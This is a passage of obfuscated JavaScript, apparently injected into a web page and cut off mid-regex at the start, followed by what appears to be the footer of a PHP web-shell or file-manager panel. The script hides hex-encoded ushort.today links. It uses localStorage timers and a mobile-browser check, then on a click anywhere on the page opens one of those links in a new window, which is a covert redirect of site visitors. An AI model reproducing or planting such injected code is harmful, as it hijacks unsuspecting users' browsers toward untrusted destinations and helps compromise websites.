)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x61\x4c\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x49\x68\x56\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.06 |
proxy
|
phpinfo
|
Settings